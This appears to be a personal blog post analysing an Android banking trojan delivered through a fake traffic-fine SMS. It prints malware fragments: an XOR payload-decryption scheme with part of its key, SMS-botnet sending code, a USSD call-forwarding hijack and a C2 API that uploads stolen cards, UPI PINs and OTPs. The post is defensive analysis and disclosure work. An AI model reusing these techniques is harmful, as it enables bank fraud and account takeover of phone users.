Technology & The Future

A Suspicious Text Popped Up on My Wife's Phone: Inside a Fake Traffic Challan Android Banking Trojan

Earlier today, a text message arrived on my wife's phone citing our two-wheeler registration number and claiming a ₹2,500 traffic fine. I pulled the APK into an isolated reverse-engineering environment: here is the technical breakdown of the Android banking trojan, call-forwarding hijacker, and background SMS botnet inside.

Varun Rao
Varun Rao
2026-11-15·9 min read
A Suspicious Text Popped Up on My Wife's Phone: Inside a Fake Traffic Challan Android Banking Trojan
Cybersecurity analysis & defense: Hardware and software security under forensic investigation (Photo by FlyD on Unsplash)

The Incident: A Text Message on My Wife's Phone Today

Earlier today, a text message arrived on my wife’s phone:

"Violation Of Traffic INR.2500 Generated for KA-XX-XX-XXXX View: https://[spoofed-transport-subdomain][.]duckdns[.]org"

She looked at it and asked if I had missed a traffic signal, because the text cited our two-wheeler's exact registration number (KA-XX-XX-XXXX) and claimed a fine of ₹2,500 needed to be settled immediately.

To anyone unfamiliar with common cyberattack patterns, the message looked legitimate. The vehicle number was correct, the fine amount seemed realistic, and the phrasing sounded official.

However, the link pointed to a duckdns.org address. DuckDNS is a free dynamic DNS service frequently abused by cybercriminals. In India, genuine traffic fines and transport services are managed exclusively through official government domains (.gov.in). Transport departments never send links prompting citizens to download an Android APK file to clear a fine.

I asked her not to open the link, pulled the file (Mparivahan.apk) into an isolated reverse-engineering environment on my laptop, and analyzed its code.

What the code revealed was not just a credential-harvesting webpage, but an Android banking trojan, SMS stealer, carrier USSD call-forwarding hijacker, and distributed SMS botnet operated through an administration backend known as "Nexus Panel".

Below is a detailed, section-by-section breakdown of how this attack works, what the code does, and why it is dangerous.


1. Why Attackers Use an App Instead of a Phishing Website

A standard phishing webpage has significant technical limitations for an attacker. It can only record information that a user manually types into form fields (such as a card number). Once the victim leaves the webpage, the attacker’s access is cut off. Furthermore, the attacker cannot capture the One-Time Password (OTP) sent to the user's phone unless the user manually types it into the same fake site before the timer expires.

By convincing a victim to install an Android application instead, the attacker gains continuous, system-level access to the device:

  • The application can run silent services in the background, even when the user closes the app.
  • It can read incoming SMS messages in real time to steal banking OTPs automatically.
  • It can read pop-up notifications from messaging and banking apps.
  • It can execute cellular network commands (USSD codes) to redirect incoming phone calls.
  • It can use the victim’s own SIM card to send text messages to other people without the user knowing.

2. Stage 1: How the Initial Dropper Works (`Mparivahan.apk`)

The downloaded file Mparivahan.apk (com.smart.receiver.gfrht67) is what security analysts call a dropper. Its primary purpose is not to execute the fraud directly, but to bypass automated security scanners, decrypt a hidden secondary payload, and install it onto the phone.

A. Malformed ZIP File Structure

When attempting to unpack the APK using standard tools, the file causes errors:

checkdir error: AndroidManifest.xml exists but is not directory
unable to process AndroidManifest.xml/..xml

The attackers intentionally constructed the APK's archive headers with corrupted path structures (AndroidManifest.xml/..xml) and encrypted dummy entries. Automated security scanning systems and decompilers often fail or crash when attempting to parse archives structured this way.

B. The Concealed Payload (`assets/onnx_model.bin`)

Inside the APK's assets/ directory is a 15 MB file named onnx_model.bin:

Size: 15,070,072 bytes
Header bytes (hex): 08 3a 34 69 4b 32 70 5a ...

Attackers frequently use file names associated with AI or machine learning models (such as .bin or .onnx) because security filters often assume large binary files are inert data rather than executable code.

C. Extracting the Decryption Key from Native Code (`libpayload.so`)

The APK contains a compiled native C library: lib/arm64-v8a/libpayload.so. Disassembling this library reveals a function named Java_com_sanaminfo_payload_installer_Kf9x2_getSecretKey:

0000000000000800 <Java_com_sanaminfo_payload_installer_Kf9x2_getSecretKey>:
 82e: lea -0x23f(%rip),%rsi        # Loads string fragment: "Xq7mK2..."
 840: call 9a0 <__strcat_chk@plt>
 845: lea -0x23c(%rip),%rsi        # Loads string fragment: "wT1vL6..."
 854: call 9a0 <__strcat_chk@plt>
 859: lea -0x23d(%rip),%rsi        # Loads string fragment: "cY5dA0..."
 868: call 9a0 <__strcat_chk@plt>
 876: call *0x538(%rax)            # Assembles and returns key
 893: ret

The native library dynamically combines these three string fragments into a 32-byte secret key: Secret Key ($K$): "Xq7mK2pR8nF4wT1vL6sE3hB9cY5dA0jZ"

D. Reconstituting the Real Payload via XOR

In the class Kf9x2.b, the app reads onnx_model.bin into memory and performs a cyclic XOR operation against this 32-byte key:

DecryptedByte[i] = CipherByte[i] XOR Key[i % 32]

When we take the first 4 bytes of onnx_model.bin (0x08, 0x3a, 0x34, 0x69) and XOR them with the first 4 bytes of the key ('X', 'q', '7', 'm'), the result is:

  • 0x08 ^ 0x58 = 0x50 ('P')
  • 0x3a ^ 0x71 = 0x4b ('K')
  • 0x34 ^ 0x37 = 0x03 (\x03)
  • 0x69 ^ 0x6d = 0x04 (\x04)

The output starts with PK\x03\x04—the standard file header of a ZIP/APK file.

The decrypted file is written to the app's cache directory, and the dropper uses Android's PackageInstaller APIs to prompt the installation of the true malicious application: com.veltrix.documents (Mparivahan NextGen).


3. Stage 2: How the Core Payload Deceives the User (`com.veltrix.documents`)

The decrypted application contains over 300 classes designed to simulate a government utility while capturing sensitive financial data.

A. Displaying the Genuine Government Website as a Decoy

When opened, the activity ChallanWebActivity loads an in-app web browser view:

webView.loadUrl("https://echallan.parivahan.gov.in/index/accused-challan");

By displaying the actual government e-challan portal inside the app frame, the user sees familiar branding and assumes the application is legitimate.

B. Capturing Payment Details and UPI PINs

When the user taps the button to pay the fine, the app switches away from the official portal to fraudulent input screens:

  1. Debit / Credit Card Theft (CardPaymentActivity): Prompts the user to enter their card number, expiry date, CVV, and name. It intentionally shows a "Payment Failed" screen afterwards, prompting the user to re-enter details or try another card.
  2. UPI PIN Theft (UpIPinActivity): Displays a simulated UPI payment screen. Most banking and UPI apps rely on secure system keyboards that prevent screen capture. To get around this, the malware creates its own numeric keypad buttons directly on the screen (btn_key_0 through btn_key_9). It captures the victim's UPI PIN and displays an "Incorrect UPI PIN" error to get them to type it a second time for confirmation.

4. The Critical Capabilities: What Makes This Attack Severe

This software is not just an information collector. The decompiled code reveals several active, high-risk mechanisms:

Threat Vector Underlying Mechanism Real-World Danger to Victim
1. Mass SMS Spamming SmsManager.sendMultipartTextMessage Phone turns into botnet node sending spam; victim's number gets blocked and reported.
2. Call Forwarding Hijack Secret USSD *21*<Hacker_Number># Forwards voice calls to attacker; voice 2FA authentication calls ring on hacker's phone.
3. Live OTP Interception android.provider.Telephony.SMS_RECEIVED Reads incoming bank OTPs and uploads them to C2 server within 2 seconds.
4. Notification Snooping NotificationListenerService Captures WhatsApp OTPs, banking deduction alerts, and authenticator codes.
5. Contact & Call Harvesting DeviceInfoCollector (contacts, logs) Scrapes recent 100 calls and contact list for targeted extortion or family impersonation.

1. Involuntary Involvement in Mass SMS Distribution

In FirebaseRepo.sendSmsWithConfirmation, the app accesses Android's telephony service:

SmsManager smsManager = SmsManager.getDefault();
ArrayList<String> parts = smsManager.divideMessage(outboxItem.getText());
smsManager.sendMultipartTextMessage(
    outboxItem.getNumber(), 
    null, 
    parts, 
    sentIntents, 
    deliveryIntents
);
  • How it works: The attacker's server pushes lists of target phone numbers to the device via GET /api/outbox/pull. The application quietly sends the smishing message to those numbers using the victim's own SIM card.
  • Why this matters:
    • The text messages arrive on other people's phones from a normal Indian mobile number (+91 XXXXX XXXXX), avoiding commercial spam filters.
    • When those recipients report the fraud to law enforcement or the 1930 helpline, the complaint is registered against the victim's mobile number.
    • The victim risks having their SIM card disconnected by telecom providers and their bank accounts placed under temporary cybercrime holds.

2. Silent Call Forwarding to Intercept Voice OTPs

When a bank's fraud detection system identifies an unusual transaction, it often places an automated verification phone call asking the account holder to press a key to confirm the transfer.

The class CallForwardingHelper circumvents this security check by silently executing carrier USSD codes through Android's TelecomManager:

Dials: *21*<Hacker_Forward_Number>#
Verifies via: *#21#
  • The code contains specific logic to handle major Indian carriers (Jio, Airtel, Vodafone Idea) and bypasses interface limitations on various phone manufacturers (such as Xiaomi, Oppo, and Vivo).
  • Once enabled, incoming phone calls are forwarded directly to the attacker's phone. The victim's phone does not ring, and the attacker can answer the bank's automated verification call directly.

3. Immediate SMS and OTP Interception

  • Through SmsReceiver, the app monitors android.provider.Telephony.SMS_RECEIVED.
  • When a bank sends an OTP, the app reads the text and immediately sends it to the attacker's server (/api/data/sms/batch/new).
  • It also reads existing messages in the phone's inbox (SmsSyncWorker) to collect bank names, account balance alerts, and previous transactions.

4. Reading System Notifications (`MyNotificationListener`)

During setup, MainActivity directs the user to Android's "Notification Access" settings screen (ACTION_NOTIFICATION_LISTENER_SETTINGS) and prompts them to enable access.

  • This allows the app to read all text displayed in the notification tray.
  • It captures one-time passwords displayed by messaging apps (such as WhatsApp or Telegram) and two-factor authentication apps, even if the app cannot read the SMS database directly.
  • It also monitors transaction deduction notices (e.g., "₹25,000 debited from account..."), allowing the attacker to confirm whether their transfer succeeded.

5. Collecting Contacts and Call Logs for Targeted Fraud

Through DeviceInfoCollector, the app gathers:

  • The 100 most recent phone calls (getCallLogs).
  • The complete contact directory (getContacts).
  • The primary Google account registered on the phone (com.google).

This information can be used for targeted follow-up fraud, such as calling family members and pretending the victim is in an emergency.


5. The Command and Control Server ("Nexus Panel")

All captured data is transmitted over the internet to a centralized server backend: C2 URL: https://[hacker-c2-panel][.]in/api/

The app defines its communication interface using Retrofit (FirebaseRepo$PanelApi):

public interface PanelApi {
    @POST("device/installed")
    Call<OkResp> deviceInstalled(@Body DeviceInstallReq req);

    @POST("presence/beat")
    Call<OkResp> presenceBeat(@Body PresenceBeatReq req);

    @POST("data/payments")
    Call<OkResp> payment(@Body PaymentReq req); // Sends stolen cards and UPI PINs

    @POST("data/sms/batch/new")
    Call<SmsBatchResp> smsBatchNew(@Body SmsBatchReq req); // Sends live OTPs

    @GET("devices/call_forwarding")
    Call<CfGetResp> cfGet(); // Retrieves the phone number to forward calls to

    @GET("outbox/pull")
    Call<OutboxPullResp> outboxPull(); // Downloads phone numbers for mass SMS sending
}
  • Authentication: Requests sent to this server are authenticated using an HMAC-SHA256 signature calculated with a hardcoded key (9143f112...[REDACTED]) and a customer campaign ID (KPjPWV...[REDACTED]).
  • Cloud Database: The app also connects to a Google Firebase database ([redacted-panel]-default-rtdb.firebaseio.com) to receive real-time commands and check for server address updates.

Sanitized Technical Indicators

(Live domains and specific keys have been masked for responsible disclosure; unredacted data has been provided to cybercrime authorities)

Item Identifier / Pattern Purpose
Download Link [spoofed-transport-subdomain][.]duckdns[.]org The link sent in the smishing text
C2 Server https://[hacker-c2-panel][.]in/api/ The server collecting stolen data
Decoy Portal echallan.parivahan.gov.in Genuine portal loaded inside the app
Dropper Key Xq7mK2...[REDACTED] 32-byte key that decrypts the real payload
Cloud Database [redacted]-default-rtdb[.]firebaseio[.]com Real-time command sync
Package Names com.smart.receiver.gfrht67, com.veltrix.documents App package names on the device

Practical Protective Steps for Smartphone Users

  1. Only Use Official Government Websites: In India, legitimate traffic fine information is hosted on official government websites ending in .gov.in (such as echallan.parivahan.gov.in). Transport departments do not distribute .apk files or use free dynamic DNS domains.
  2. Check Your Call Forwarding Status: Open your phone dialer and enter *#21#. If it indicates that voice calls are forwarded to an unfamiliar number, dial ##21# immediately to turn off all forwarding rules.
  3. Be Extremely Cautious with Notification Access: Granting an app "Notification Access" allows that app to read every message, code, and alert that appears on your screen.
  4. Report Suspicious Messages: If you receive a fraudulent traffic notice or banking message, report it to the National Cyber Crime Reporting Portal at cybercrime.gov.in or call the helpline at 1930.
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Varun Rao

Varun Rao

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Varuna Rao
Varuna RaoAuthor
2d ago
I am surprised how far people go for making money.
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